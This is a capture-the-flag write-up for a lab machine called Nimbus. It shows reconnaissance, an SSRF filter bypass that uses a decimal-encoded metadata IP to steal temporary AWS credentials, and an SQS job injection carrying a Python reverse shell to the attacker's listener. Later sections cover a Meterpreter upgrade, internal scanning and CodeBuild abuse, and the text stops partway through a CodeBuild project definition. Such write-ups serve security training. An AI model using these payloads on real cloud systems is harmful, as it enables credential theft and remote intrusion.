1 RECON

Throughout this writeup, we refer to two global environment variables defined in ~/.bashrc or ~/.zshrc:

  • targetIp: the IP address of the target/victim machine, for example 10.129.78.103
  • attackerIp: the IP address of our attacker machine, for example 10.10.13.68

1.1 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

Plaintext
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 eb:ab:8f:be:99:02:0b:3e:c4:1c:83:b2:66:2f:17:13 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGsUbYkfB8pMEvFAGi5paPNGhksvnw0eRjwGZ4AlHmJIysuuzTNQaX/bcOE08prJ2+cOxCyMh5lG38v7rPC+Dag=
|   256 c1:69:ab:84:f3:88:8b:b3:8a:ae:e2:28:35:54:35:0b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIByNLKDy0k2w61ihV1fOWk1bHErDkuYcwcYxN1vWpGrb
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nimbus.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The exposed surface was minimal: SSH on 22/tcp and an Nginx site on 80/tcp.

axura@labyrinth:~
$ echo "$targetIp nimbus.htb" | sudo tee -a /etc/hosts
10.129.78.103 nimbus.htb
$ whatweb http://nimbus.htb
http://nimbus.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.129.78.103], Title[Nimbus — Internal Job Scheduler], nginx[1.24.0]

The web title told us that Nimbus is an Internal Job Scheduler.

1.2 Webbing

Visiting http://nimbus.htb showed an AI-generated page:

It depicted the exploitation sketch:

  • The app accepts YAML input
  • It can fetch job files from a URL
  • Submitted jobs probably run on worker machines
  • SSH access exists, but needs approval
  • marcus is likely a username/person

Usually, it required sign-in to submit jobs. However, they posed an announcement in the login page:

Engineers: the job submitter is unauthenticated during the migration window — submit jobs there directly. SSH still works for shell access; ping marcus on Slack if your key needs to be re-approved.

Therefore, without authentication, we could still submit a job by a Git URL:

This page describe an entrance blueprint:

  • Form sends url= to /jobs/preview
  • URL must point to a .yaml file
  • The app claims internal addresses and metadata endpoints are blocked
  • This suggests SSRF is expected, but there may be bypasses

On the other hand, we could also submit by pasted plain-text YAML:

This option revealed a different perspective:

  • Form sends yaml_body= to /jobs/preview
  • YAML is parsed with safe_load
  • The page says there is no code execution at submission time
  • Important wording: maybe code execution happens later, when the job actually runs

The example output also implied job format includes fields like:

YAML
name: nightly-db-backup
schedule: "0 2 * * *"
runtime: python3.11

1.3 Subdomain Fuzzing

Fuzz subdomains on the target:

axura@labyrinth:~
$ gobuster vhost -u http://nimbus.htb --ad -w /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -t 50
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://nimbus.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /home/Axura/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
aws.nimbus.htb Status: 403 [Size: 305]
Progress: 20000 / 20000 (100.00%)
===============================================================
Finished
===============================================================
$ echo "$targetIp aws.nimbus.htb" | sudo tee -a /etc/hosts
10.129.78.103 aws.nimbus.htb

An AWS cloud service endpoint aws.nimbus.htb uncovered:


2 USER

By this point, Nimbus no longer looked like a plain scheduler frontend. The aws.nimbus.htb vhost and the job-oriented workflow suggested a cloud-backed application where the web tier probably brokers requests into internal services.

That made HackTricks Cloud SSRF the right mental model early: if a URL fetcher lives inside an AWS-style environment, the first high-value target is usually the metadata service.

2.1 Job Preview

2.1.1 Submit By YAML

Use a minimal YAML file to probe the target job scheduler by submitting a pasted YAML context:

Bash
cat > test.yaml <<'EOF'
name: test-preview
schedule: "*/5 * * * *"
runtime: python3.11
script: |
  print("hello from nimbus")
EOF

curl -s -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode "yaml_body=$(cat test.yaml)"

The preview response was more generous than it needed to be. It explicitly said the job would be submitted to queue nimbus-jobs in region us-east-1, and then picked up by workers running nimbus/worker:

2.1.2 Submit By Git URL

For the URL path, host the example YAML file locally:

Bash
python -m http.server 80

curl -s -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode "url=http://$attackerIp/test.yaml"

Nimbus accepted the schema, parsed the YAML, and reached our web server:

Testing a classic SSRF payload file:///etc/passwd would fail here since it supported only HTTP(s) URLs;

And targetting internal paths would also get instantly blocked.

2.2 Cloud SSRF

At that point, aws.nimbus.htb stopped looking like a random vhost and started looking like the AWS backend control plane behind Nimbus. The preview page had already leaked the SQS queue name nimbus-jobs, the region us-east-1, and the worker image nimbus/worker; this host was the obvious place where those pieces met.

Trying the AWS CLI against the endpoint hit the same boundary as tested in section 1.3:

axura@labyrinth:~
$ aws sts get-caller-identity \
    --endpoint-url http://aws.nimbus.htb \
    --region us-east-1
Unable to locate credentials. You can configure credentials by running "aws configure".

So the goal here was to recover credentials that could speak to it.

2.2.1 AWS IMDS Breach

As HackTricks notes for AWS Cloud SSRF exploit, the Instance Metadata Service (IMDS) is the first place to look for an attached IAM role and its temporary credentials.

On EC2, IMDS lives on the link-local address 169.254.169.254, which is normal AWS behavior.

Graph
jobs/preview SSRF interface
        |
        v
AWS clues from Nimbus
  - SQS queue: nimbus-jobs
  - region: us-east-1
  - worker: nimbus/worker
  - aws.nimbus.htb -> STS-style error
        |
        v
EC2 metadata target
  169.254.169.254
        |
        v
IMDS
  list attached role
        |
        v
temporary credentials
  talk to aws.nimbus.htb

So the next check was whether Nimbus would let the preview fetcher reach that address at all.

2.2.2 SSRF Bypass Oracle

The target path came from the standard IMDS IAM credential flow. On EC2, /latest/meta-data/iam/security-credentials/ lists the attached role name first, and the role-specific subpath can then return the temporary credentials bound to that role.

So the first check was the direct version of that path against the metadata address:

Bash
curl -s -X POST http://nimbus.htb/jobs/preview \
    --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

That would not even reach the internal-address filter. Nimbus rejected it earlier because the URL did not end in .yaml or .yml.

So we added a dummy query string like ?file=test.yaml to satisfy the file-extension check:

axura@labyrinth:~
$ curl -s -X POST http://nimbus.htb/jobs/preview \
    --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?file=test.yaml" |
    htmlq -t 'div.err'
Error: Security policy: this URL targets an internal resource and has been blocked.

The filter was now clearly keying off the literal metadata address 169.254.169.254, so the next move was to change the URL representation without changing the actual destination.

2.2.2.1 IPFuscator Fuzzing

We could use my tuned IPFuscator (forked from IPFuscator, patched some bugs and added extra encoding from Hacktricks) to enumerate equivalent representations of 169.254.169.254:

axura@labyrinth:~
$ ipfuscator -i 169.254.169.254 | head -n20
IP Address:    169.254.169.254

Known Encodings:
Original:    169.254.169.254
Decimal:    2852039166
Hexadecimal:    0xa9fea9fe
Hexadecimal uppercase:    0xA9FEA9FE
Octal:    025177524776
Full Hex:    0xa9.0xfe.0xa9.0xfe
Full Hex uppercase:    0xA9.0xFE.0xA9.0xFE
Full Oct:    0251.0376.0251.0376
Zero-padded dotted decimal:    169.254.169.254
Partial decimal (3 parts):    169.254.43518
Partial decimal (2 parts):    169.16689662
Mixed base:    0xa9.254.0251.254
Mixed base (HackTricks):    0xA9.254.0251.0376
Dot bypass (ideographic full stop):    169。254。169。254
Dot bypass (percent-encoded ideographic full stop):    169%E3%80%82254%E3%80%82169%E3%80%82254
Circled digits:    ①⑥⑨.②⑤④.①⑥⑨.②⑤④
Double circled digits:    ⓵⓺⓽.⓶⓹⓸.⓵⓺⓽.⓶⓹⓸
$ ipfuscator -i 169.254.169.254 -o fuzz.txt

This generated alternate IP encodings to replay through the preview endpoint. The variants were fuzzed with BurpSuite Intruder, then filtered by excluding the negative keyword Error:

Quite a few candidates bypassed the filter. The shortest working variant was 2852039166.

So the minimum SSRF bypass oracle became:

Bash
imdsp="/latest/meta-data/iam/security-credentials/"  # change this to enum

curl -s -X POST http://nimbus.htb/jobs/preview \
    --data-urlencode "url=http://2852039166/$imdsp?file=test.yaml"

2.2.2.2 Leak Role Name

The IMDS security-credentials path works in two stages. Hitting /latest/meta-data/iam/security-credentials/ lists the attached role name first, and the role-specific path only becomes available after that.

We already retrieved the role name in last step, which was nimbus-web-role.

axura@labyrinth:~
$ imdsp="/latest/meta-data/iam/security-credentials/"
$ curl -s -X POST http://nimbus.htb/jobs/preview \
    --data-urlencode "url=http://2852039166/$imdsp?file=test.yaml" |
    htmlq -t 'pre'
nimbus-web-role
nimbus-web-role

2.2.2.3 Steal Temporary Credentials

With the role name in hand, the second metadata request became deterministic. Appending nimbus-web-role to the same endpoint asks IMDS for the temporary credentials issued to that role:

axura@labyrinth:~
$ imdsp="latest/meta-data/iam/security-credentials"
$ role="nimbus-web-role"
$ curl -s -X POST http://nimbus.htb/jobs/preview \
  --data-urlencode "url=http://2852039166/$imdsp/$role?file=test.yaml" |
  htmlq -t 'pre'
{
  "Code": "Success",
  "LastUpdated": "2026-06-21T06:08:30Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAQX4PG7L2K9M3N5R8",
  "SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs",
  "Token": "IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2p
KlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM",
  "Expiration": "2026-06-21T12:08:30Z"
}
{'Code': 'Success', 'LastUpdated': '2026-06-21T06:08:30Z', 'Type': 'AWS-HMAC', 'AccessKeyId': 'ASIAQX4PG7L2K9M3N5R8', 'SecretAccessKey': 'bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs', 'Token': 'IQoJ
b3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmB
cN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM', 'Expiration': '2026-06-21T12:08:30Z
'}

The response exposed the full credential set:

JSON
{
  "AccessKeyId": "ASIAQX4PG7L2K9M3N5R8",
  "SecretAccessKey": "bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs",
  "Token": "IQoJb3JpZ2luX2VjEHQaCXVzLWVhc3QtMSJGMEQCIBhV9zPmK3wQjL4nT8vR2xY7AoFqUk5HsP6BeMcW1aDgAiAR4tNoXzKp8VnJqL7mC3xY9FhWdQ5GBPmRkX2vT8jY6yqsAQiK//////////8BEAEaDDAwMDAwMDAwMDAwMCIMNZ5tQ7vEX2pKlHfqKtoBQwK5HmBcN4gXjVrUe1Pk9YsZ7DqWfThN3bMRoLYyJsKn8GpVxAcQ5VeWk2HiqXbF6CnXmM4PdYpL3rJzKqGtNvBfHcWyXa8jPzTn5LRMkV1QbWdAyKpGfHzNvU8TmEcL2qPdRhJsKgGn3VyXmFbBcNJ7QrHe5VpDxKfM"
}

2.3 AWS Queue Pivot

With the temporary keys recovered, the next step was to turn those credentials into a usable AWS session and see which backend service the web tier was allowed to touch.

2.3.1 AWS Control Plane Enumeration

2.3.1.1 AWS Configuration

The actual target lived behind the custom endpoint aws.nimbus.htb, so the next move was to mirror those same credentials into a local AWS profile and speak to the endpoint directly:

Bash
aws configure set aws_access_key_id 'ASIAQX4PG7L2K9M3N5R8' --profile nimbus
aws configure set aws_secret_access_key 'bXJ7K8mP/q2Hf+vN9wT4LcRe5Y1Aoz3DhU6gKjQs' --profile nimbus
aws configure set aws_session_token '<token from IMDS>' --profile nimbus
aws configure set region us-east-1 --profile nimbus

2.3.1.2 Security Token Service (STS)

The first call went to STS, the AWS Security Token Service. get-caller-identity is the quickest way to prove whether temporary credentials are real before spending time on service-specific enumeration.

axura@labyrinth:~
$ aws sts get-caller-identity \
    --endpoint-url http://aws.nimbus.htb \
    --profile nimbus | jq
{
  "UserId": "AROAQX4PG7L2K9M3N5R8H:i-0a1b2c3d4e5f6789a",
  "Account": "847219365028",
  "Arn": "arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a"
}

That confirmed the stolen keys were valid and belonged to the assumed role nimbus-web-role in account 847219365028.

2.3.1.3 Simple Queue Service (SQS)

The second call went to SQS, because the preview page had already leaked the queue name nimbus-jobs. If this role could list queues, then it could likely reach the worker path without touching the web UI again.

axura@labyrinth:~
$ aws sqs list-queues \
    --endpoint-url http://aws.nimbus.htb \
    --profile nimbus | jq
{
  "QueueUrls": [
    "http://floci:4566/847219365028/nimbus-jobs"
  ]
}

That showed the role could reach the queue service directly, and it leaked the real backend queue URL as http://floci:4566/847219365028/nimbus-jobs.

2.3.2 SQS Injection

With the queue URL in hand, the remaining question was whether nimbus-jobs was only a transport layer for the site, or whether we could talk to that same worker path directly.

2.3.2.1 SendMessage Probing

The earlier preview flow had already leaked the job shape as name, runtime, and script, with python3.11 shown as the runtime, so we did not need to guess the message format anymore (see section 2.1).

A simple test:

axura@labyrinth:~
$ qu="http://floci:4566/847219365028/nimbus-jobs"
$ aws sqs send-message \
    --endpoint-url http://aws.nimbus.htb \
    --profile nimbus \
    --queue-url "$qu" \
    --message-body '{"name":"probe","runtime":"python3.11","script":"print(\"ok\")"}'
{
    "MD5OfMessageBody": "fcd0a32bf5d4b74ff13b30db4d5b41cb",
    "MessageId": "0ae73153-1b5a-4e3e-b4f8-a086262d34a7"
}

That returned a MessageId, proving our write access.

2.3.2.2 Queue Injection

That made this a clean SQS injection case in the sense described by HackTricks: if a backend blindly consumes attacker-controlled queue messages, then SendMessage is enough to reach the application logic behind the queue.

Graph
job submission
    |
    v
web app
    |
    v
nimbus-jobs
    |
    v
worker
  reads JSON
  runs script

First, start a listener locally:

Bash
msfconsole -q -x "use exploit/multi/handler; set payload generic/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -j"

Then build a valid job object and publish it straight to nimbus-jobs:

Bash
#!/bin/bash
# sqs_inj.sh

lhost="10.10.13.68"  
lport="4444"

queue_url="http://floci:4566/847219365028/nimbus-jobs"
endpoint="http://aws.nimbus.htb"
profile="nimbus"

payload_py=$(cat <<EOF
import os,socket,subprocess
s=socket.create_connection(("$lhost",$lport))
for fd in (0,1,2):
    os.dup2(s.fileno(),fd)
subprocess.call(["/bin/bash","-i"])
EOF
)

job_json=$(jq -nc \
  --arg name "rshell" \
  --arg runtime "python3.11" \
  --arg script "$payload_py" \
  '{
    name: $name,
    runtime: $runtime,
    script: $script
  }'
)

aws sqs send-message \
  --endpoint-url "$endpoint" \
  --profile "$profile" \
  --queue-url "$queue_url" \
  --message-body "$job_json"

As soon as the worker pulled the message, it executed the script field and connected back as worker:

axura@labyrinth:~
$ msfconsole -q -x "use exploit/multi/handler; set payload generic/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -j"
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
payload => generic/shell_reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf exploit(multi/handler) > [*] Command shell session 1 opened (10.10.13.68:4444 -> 10.129.78.103:35786) at 2026-06-21 00:28:21 -0700
msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type   Information  Connection
  --  ----  ----   -----------  ----------
  1         shell               10.10.13.68:4444 -> 10.129.78.103:35786 (10.129.78.103)

msf exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[-] Shells on the target platform, bsd, cannot be upgraded to Meterpreter at this time.
msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
worker@37d80fa58ccb:/app$
worker@37d80fa58ccb:/app$ id
uid=1000(worker) gid=1000(worker) groups=1000(worker)
worker@37d80fa58ccb:/app$ cat ~/user.txt
cat ~/user.txt
c********************************8

User flag captured.

2.4 Meterpreter

The worker shell landed inside a restricted container with very limited commands.

Optionally, for convenience rather than necessity, the foothold could be upgraded:

MSF
use post/multi/manage/shell_to_meterpreter
set PLATFORM_OVERRIDE linux
set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST tun0
set LPORT 5555
run

Meterpreter:

axura@labyrinth:~
msf exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf post(multi/manage/shell_to_meterpreter) > set PLATFORM_OVERRIDE linux
PLATFORM_OVERRIDE => linux
msf post(multi/manage/shell_to_meterpreter) > set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcp
PAYLOAD_OVERRIDE => linux/x64/meterpreter/reverse_tcp
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST tun0
LHOST => 10.10.13.68
msf post(multi/manage/shell_to_meterpreter) > set LPORT 5555
LPORT => 5555
msf post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.13.68:5555
[*] Command stager progress: 100.00% (833/833 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (3090404 bytes) to 10.129.78.103
[*] Meterpreter session 3 opened (10.10.13.68:5555 -> 10.129.78.103:56954) at 2026-06-21 00:55:22 -0700
[*] Stopping exploit/multi/handler

msf post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: worker
meterpreter > sysinfo
Computer     : 37d80fa58ccb
OS           : Debian 13.4 (Linux 6.8.0-124-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

3 ROOT

3.1 Local Enumeration

The shell was running inside a heavily restricted container, but a Meterpreter session would make interaction much easier:

axura@labyrinth:~
msf post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > netstat

Connection list
===============

    Proto  Local address     Remote address    State        User  Inode  PID/Program name
    -----  -------------     --------------    -----        ----  -----  ----------------
    tcp    127.0.0.11:41879  0.0.0.0:*         LISTEN       0     0
    tcp    172.18.0.3:56954  10.10.13.68:5555  ESTABLISHED  1000  0
    tcp    172.18.0.3:35786  10.10.13.68:4444  ESTABLISHED  1000  0
    tcp    172.18.0.3:47602  172.18.0.1:80     ESTABLISHED  1000  0
    udp    127.0.0.11:42616  0.0.0.0:*                      0     0

meterpreter > arp

ARP cache
=========

    IP address  MAC address        Interface
    ----------  -----------        ---------
    172.18.0.1  a2:1b:c5:4e:fd:32  eth0

meterpreter > ps

Process List
============

 PID  PPID  Name     Arch    User    Path
 ---  ----  ----     ----    ----    ----
 1    0     python3  x86_64  worker  /usr/local/bin/python3.11
 9    1     [bash]   x86_64  worker
 12   1     bash     x86_64  worker  /usr/bin/bash
 39   1     [bash]   x86_64  worker
 53   12    HYhcF    x86_64  worker  /tmp/HYhcF (deleted)

This was not a normal host shell. The session was running as worker inside a container on 172.18.0.3. So we ran a quick fscan sweep from the container:

axura@labyrinth:~
worker@37d80fa58ccb:~$ ./fscan -h 172.18.0.0/24 -nobr -nopoc
./fscan -h 172.18.0.0/24 -nobr -nopoc

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.18.0.3      is alive
(icmp) Target 172.18.0.1      is alive
(icmp) Target 172.18.0.2      is alive
[*] Icmp alive hosts len is: 3
172.18.0.1:80 open
172.18.0.1:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://172.18.0.1         code:301 len:178    title:301 Moved Permanently redirect url: http://nimbus.htb/
[*] WebTitle http://nimbus.htb/        code:200 len:1922   title:Nimbus — Internal Job Scheduler

That tightened the picture:

  • 172.18.0.3 was our worker container
  • 172.18.0.1 was the internal gateway exposing the web app and SSH
  • 172.18.0.2 was another live container on the same network

/etc/hosts explained 172.18.0.1, but leaving 172.18.0.2 unresolved:

axura@labyrinth:~
worker@d4aeade565bd:~$ cat /etc/hosts
127.0.0.1    localhost
::1    localhost ip6-localhost ip6-loopback
fe00::    ip6-localnet
ff00::    ip6-mcastprefix
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
172.18.0.1    aws.nimbus.htb
172.18.0.1    nimbus.htb
172.18.0.3    d4aeade565bd

That made the second live host the next local-enum target. Thus upload a static nmap and scan it directly:

axura@labyrinth:~
worker@d4aeade565bd:~$ ./nmap 172.18.0.2 -p-
Nmap scan report for nimbus-floci.nimbus-net (172.18.0.2)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
4566/tcp open  unknown
9169/tcp open  unknown

172.18.0.2 resolved as nimbus-floci.nimbus-net exposing port 4566/tcp and 9169/tcp.

3.2 Floci AWS Emulator

The nmap result had already resolved 172.18.0.2 as nimbus-floci.nimbus-net, and 4566/tcp stood out because it often fronts a single AWS-style edge endpoint — and it matched the revealed backend queue URL http://floci:4566 in section 2.3.1.3.

3.2.1 Edge Endpoint Discovery

Floci is a local AWS emulator, similar in purpose to LocalStack but not the same product. It exposes AWS-compatible APIs through a local edge endpoint, commonly on port 4566, so standard AWS SDK or AWS CLI requests can be redirected to a local backend instead of the real AWS cloud.

In this case, http://floci:4566 became the internal AWS-compatible endpoint to enumerate. Depending on what the emulator had enabled, the same endpoint could expose services such as S3, SQS, and CodeBuild.

Graph
Real AWS
═════════════════════════════════
    application / worker
            |
            | AWS API request
            v
        real AWS control plane
            |
            +--> real AWS services (S3, SQS, CodeBuild...)


Local AWS emulator
═════════════════════════════════
    application / worker
            |
            | same AWS-style API request
            v
    emulator edge endpoint
    nimbus-floci.nimbus-net:4566
            |
            +--> local AWS-compatible APIs

That matched the classic HTB behavior, which never reaches real Internet: the web application had already shown AWS-like behavior, and the internal network now exposed a second container that looked like the backend for those cloud-style APIs.

Validate host names locally:

axura@labyrinth:~
worker@d4aeade565bd:~$ getent hosts nimbus-floci.nimbus-net
172.18.0.2      nimbus-floci.nimbus-net
worker@d4aeade565bd:~$ getent hosts floci
172.18.0.2      floci

floci was the built-in default exposed in 2.3.1.3, and in this case it was also the short alias for nimbus-floci.nimbus-net. Visiting http://floci:4566 returned an S3-style bucket listing:

XML
<?xml version="1.0" encoding="UTF-8"?>
<ListAllMyBucketsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
  <Owner>
    <ID>owner</ID>
    <DisplayName>owner</DisplayName>
  </Owner>
  <Buckets>
    <Bucket>
      <Name>nimbus-dev-artifacts</Name>
      <CreationDate>2026-06-20T19:51:14.750497031Z</CreationDate>
    </Bucket>
  </Buckets>
</ListAllMyBucketsResult>

That was a valid response with no access errors.

3.2.2 Floci Root Identity

That meant we were authenticated, with credentials stored inside env:

Bash
AWS_DEFAULT_REGION=us-east-1
AWS_SECRET_ACCESS_KEY=dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh
AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN

There were two separate AWS-style credential sets involved.

The first set came from the metadata SSRF path. Those credentials used an ASIAQX4PG7L2K9M3N5R8 access key and included a session token (see section 2.2.2.3), which identified them as temporary STS credentials (see section 2.3.1.2):

ARN
arn:aws:sts::847219365028:assumed-role/nimbus-web-role/i-0a1b2c3d4e5f6789a

That identity belonged to the web-side role, nimbus-web-role.

Now, after landing inside the worker container, the environment exposed a different set of AWS-style credentials:

Bash
AWS_ACCESS_KEY_ID=AKIA7P3R9X4K8M2L5VHN
AWS_SECRET_ACCESS_KEY=dM4nV/q8Hf7LcRpZ2eY1KjBxN5Aozs3T6gU9JfWh
AWS_ENDPOINT_URL=http://aws.nimbus.htb
QUEUE_URL=http://aws.nimbus.htb/847219365028/nimbus-jobs

Using those worker credentials against the internal Floci endpoint returned:

axura@labyrinth:~
worker@16f4f61568b6:/app$ aws --endpoint-url http://floci:4566 sts get-caller-identity
{
    "UserId": "847219365028",
    "Account": "847219365028",
    "Arn": "arn:aws:iam::847219365028:root"
}

The metadata credentials mapped to the web role, while the worker environment credentials mapped to the root identity inside the local Floci AWS emulator.

3.2.3 Floci Fingerprint

The quickest fingerprint on the emulator was the health endpoint http://floci:4566/health:

JSON
{
  "edition": "community",
  "services": {
    "s3": "running",
    "sqs": "running",
    "iam": "running",
    "logs": "running",
    "secretsmanager": "running",
    "codebuild": "running",
    "codedeploy":"running",
    ...
  },
  "version": "1.5.17",
  "original_edition": "floci-always-free",
  ...
}

The important part was that codebuild was explicitly marked as running. The Floci changelog notes that starting from version 1.5.10 real Docker-based execution for CodeBuild has been added.

3.2.4 AWS Service Enumeration

After fingerprinting the backend as Floci, the next step was to enumerate which of those services actually contained useful state. This followed the normal S3, SQS, CodeBuild, and Secrets Manager enumeration flow from HackTricks:

Bash
# S3: list buckets exposed by the Floci backend
aws --endpoint-url http://floci:4566 s3 ls

# SQS: list queues used for job dispatching
aws --endpoint-url http://floci:4566 sqs list-queues

# CodeBuild: check whether any build projects already exist
aws --endpoint-url http://floci:4566 codebuild list-projects

# Secrets Manager: check for stored credentials or application secrets
aws --endpoint-url http://floci:4566 secretsmanager list-secrets

The results were:

axura@labyrinth:~
worker@d4aeade565bd:~$ aws --endpoint-url http://floci:4566 s3 ls
2026-06-21 08:26:40 nimbus-dev-artifacts
worker@d4aeade565bd:~$ aws --endpoint-url http://floci:4566 sqs list-queues
{
    "QueueUrls": [
        "http://floci:4566/847219365028/nimbus-jobs"
    ]
}
worker@d4aeade565bd:~$ aws --endpoint-url http://floci:4566 codebuild list-projects
{
    "projects": []
}
worker@d4aeade565bd:~$ aws --endpoint-url http://floci:4566 secretsmanager list-secrets
{
    "SecretList": []
}

This narrowed the backend quickly. S3 exposed the nimbus-dev-artifacts bucket (see appendix 4.1), and SQS exposed the live nimbus-jobs queue, matching the job-processing design seen earlier.

The empty Secrets Manager result meant there were no obvious stored secrets to pull from that service. WHile the empty CodeBuild result meant something different: no build projects existed yet.

3.3 AWS CodeBuild

The previous enumeration gave the CodeBuild status: the service was running, but no projects existed yet.

That split the path into two separate questions:

  • The enumeration phase answered the first one: there were no existing projects to inspect.
  • The next question was whether the worker credentials could move from enumeration into project creation and execution.

This matches the HackTricks CodeBuild privilege escalation path: if an identity can create a CodeBuild project and start a build, then the attacker can potentially control the build image, environment, and buildspec commands executed by the build worker.

3.3.1 CodeBuild 101

Before abusing it, it was worth being clear about what CodeBuild does.

CodeBuild is an AWS build runner. A build request is submitted to a CodeBuild project, then CodeBuild starts a temporary build environment and executes the commands defined by a buildspec.

The image below is a useful mental model: build requests enter a queue, CodeBuild workers pick them up, and each build runs inside an isolated build environment before producing logs or artifacts.

The mental model is:

Graph
build request / queued job
        |
        v
CodeBuild project
        |
        +--> build image
        +--> environment variables
        +--> buildspec commands
        |
        v
temporary build container
        |
        v
commands execute here

The buildspec is the job recipe. It is usually a YAML document that defines commands for different phases:

YAML
version: 0.2
phases:
  install:
    commands:
      - command 1
  pre_build:
    commands:
      - command 2
  build:
    commands:
      - command 3
  post_build:
    commands:
      - command 4

This is why CodeBuild mattered in Nimbus. If the local AWS emulator backend exposed CodeBuild, and if we could control the project definition and its buildspec, then we would not just gain command execution in another container — we may even be able to control the build environment itself, including the image and privilege mode, which made CodeBuild a realistic path to a stronger container context than the original worker shell.

3.3.2 CreateProject Primitive

The only thing to prove here was write access. No existing projects were present, so the next check was whether the worker foothold could create a new CodeBuild project inside Floci.

The pivot was described in HackTricks CodeBuild privesc: once create-project and start-build are available, the attacker no longer needs an existing project to hijack.

A minimal project definition referencing to HackTricks Example 3:

Bash
cat > /tmp/cb-probe.json << 'EOF'
{
  "name": "cb-probe",
  "source": {
    "type": "NO_SOURCE",
